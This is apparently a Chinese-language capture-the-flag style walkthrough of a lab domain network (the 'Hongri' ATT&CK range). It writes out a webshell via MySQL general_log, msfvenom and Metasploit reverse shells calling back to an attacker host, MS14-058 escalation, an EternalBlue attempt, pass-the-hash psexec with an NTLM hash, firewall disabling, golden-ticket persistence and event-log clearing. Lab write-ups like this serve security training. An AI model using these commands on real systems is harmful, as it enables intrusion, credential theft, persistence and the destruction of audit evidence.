前言

靶场来自无境,尽量写的详细一点

过程

web渗透-sql日志

首页
image-20260616165719418
使用tscan进行目录扫描
image-20260616165730720
访问phpMyAdmin后台,root/root
show variables like '%general%'
image-20260616165743648
这里显示的日志的开关以及日志存放的位置
我们要做的事将一句话代码写进shell.php中,将日志开关打开,然后改变日志存储的文件位置
set global general_log = "on"
set global general_log_file = "C:\\phpStudy\\WWW\\shell.php"
image-20260616165905465
然后使用蚁剑连接;

image-20260616165921836

web渗透-YXcms

这个是在目录是在御剑里扫描出来的
http://192.168.111.20/yxcms/index.php/
image-20260616165940823
尝试登录
这里的模板文件是可以编辑的,我们写入一句话木马。
image-20260616165951809
继续扫描发现目标文件
http://192.168.111.20/yxcms/protected/apps/default/view/default/info.php
image-20260616170017643

后渗透

前期准备

接着我们上线msf
生成木马
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.111.25 LPORT=5566 -f exe -o stageless.exe
然后配置好后run

1
2
3
4
5
6
7
use exploit/multi/handler
# 切换为无阶段 Payload
set PAYLOAD windows/x64/meterpreter_reverse_tcp
set LHOST 192.168.111.25
set LPORT 5566
set ReverseListenerBindAddress 0.0.0.0
run

image-20260616170031666
使用蚁剑上传木马执行
image-20260616170044217
getshell
然后我们判断一下是否在域内

1
2
3
whoami
ipconfig /all
systeminfo

image-20260616170053927

image-20260616170104147
这里我们在上线一下cs,因为无境的靶场只能一台机器连接vpn,这里我是只用kali来做的
客户端cs启动命令:
java -Dfile.encoding=UTF-8 -XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC -Duser.language=en -javaagent:uHook.jar -jar cobaltstrike-client.jar $*
image-20260616170126906
到这里我们cs和msf都能上线了,但是这个环境和正常的环境有点不同,这里需要使用ms14-058提权,那么我们在msf里进行操作。
拿到meterpreter之后

1
2
3
4
5
6
7
8
9
background
use exploit/windows/local/ms14_058_track_popup_menu
set SESSION 1
set TARGET 1
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.111.25
set ReverseListenerBindAddress 0.0.0.0
set LPORT 5555
run

image.png
ok,这里把system上线一下cs
image.png

信息收集

1
2
3
4
5
6
7
8
9
10
11
12
net view                 # 查看局域网内其他主机名
net config Workstation # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user # 查看本机用户列表
net user /domain # 查看域用户
net localgroup administrators # 查看本地管理员组(通常会有域用户)
net view /domain # 查看有几个域
net user 用户名 /domain # 获取指定域用户的信息
net group /domain # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain # 查看域中某工作组
net group "domain admins" /domain # 查看域管理员的名字
net group "domain computers" /domain # 查看域中的其他主机名
net group "doamin controllers" /domain # 查看域控制器主机名(可能有多台)

这里我们所在的域名已经知道了
接着看一下有几个域
image.png
看一下域内的主机
image.png
查询域内ip,使用arp -a查询
image.png
看一下域控可以通过ping域名的方式
image.png

image.png

image.png
小总结一下:
192.168.52.141 域名:ROOT-TVI862UBEH.god.org
192.168.111.20 域名:STU1.god.org
192.168.52.138 域控:owa.god.org

权限维持

正常我们将木马文件执行之后,会在靶机的任务列表中产生一个进程,权限维持就是将这个进程寄生在另一个进程之上,这样不容易被发现
image.png
getpid看一下当前进程是3544
我们要维持这个权限
ps看一下进程
image.png
我们把它移到3400下
migrate 3400
image.png
这样就成功了,如果不知道要迁移到那个进程可以使用run post/windows/manage/migrate,系统会自动寻找指定进程进行迁移。

内网横向

横向这里使用stowaway做一个代理
image.png
./linux_x64_admin -l 9999
启动服务端
C:\Users\Public\windows_x64_agent.exe -c 192.168.111.25:9999
image.png
转发流量到服务端
然后服务端转发到本地
image.png
138的
image.png
这里扫描的太慢了,懒得等了
直接放大佬们的扫描结果了
141的
image.png
138是有一个445端口开放的,可以试一下永恒之蓝漏洞

1
2
3
4
5
6
7
8
9
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.52.138

set LHOST 192.168.111.25
set LPORT 9998

set PAYLOAD windows/x64/meterpreter/reverse_tcp

run

image.png
没有成功

pth拿下域控

PTH就是运行攻击着在不知道目标机器账号密码的情况下,直接利用提取到的用户密码hash值(NLTM Hash)去对机器中的其他机器进行身份验证。
所以这里我们已经对system上线到了cs中,直接用cs内置插件抓取明文密码试试
image.png|601
这里可以看到NTLM,在msf中使用哈希传递

1
2
3
4
5
auxiliary/admin/smb/psexec_command  #在目标机器上执行系统命令

exploit/windows/smb/psexec #用psexec执行系统命令

exploit/windows/smb/psexec_psh #使用powershell作为payload
1
2
3
4
5
6
7
8
msfconsole
use exploit/windows/smb/psexec
set rhosts 192.168.52.138
set smbuser administrator
set smbpass 00000000000000000000000000000000:933a9b5b44dab4530d86d83a6b47b7d1
set smbdomain god
run

cs横向

接下来尝试cs
shell netsh advfirewall set allprofiles state off
先关闭防火墙
刚刚我们在端口扫描的时候发现445端口开放,所以可以创建SMB监听隧道。

  1. SMB监听隧道的核心原理是利用SMB协议在目标主机上建立隐蔽的通信通道,绕过传统防火墙和入侵检测系统的监控。
  2. SMB协议基础:文件共享,域名解析等,默认通过445端口通信
    创建SMB监听器
    image.png
    然后(这里要先扫描一下端口)
    image.png
    使用psexec横向移动
    image.png
    最后配置好
    image.png
    launch之后
    image.png
    横向成功
    shell netsh advfirewall set allprofiles state off
    关闭防火墙

权限维持(黄金票据)

黄金票据是指能够绕过认证授权机制并获得所需权限的票据。
收集信息
hash,SID,域名
image.png
hash
58e91a5ac358d86513ab224312314061:::
image.png
S-1-5-20
image.png|642
写入之后
image.png|593
成功登录
image.png|572

日志清理

1
2
3
4
5
shell wevtutil cl security               //清理安全日志
shell wevtutil cl system //清理系统日志
shell wevtutil cl application //清理应用程序日志
shell wevtutil cl "windows powershell" //清除power shell日志
shell wevtutil cl Setup //清除(cl)事件日志中的 "Setup" 事件。

flag

image.png

参考

ATT&CK实战系列(一)红日靶场1 - Afa1rs - 博客园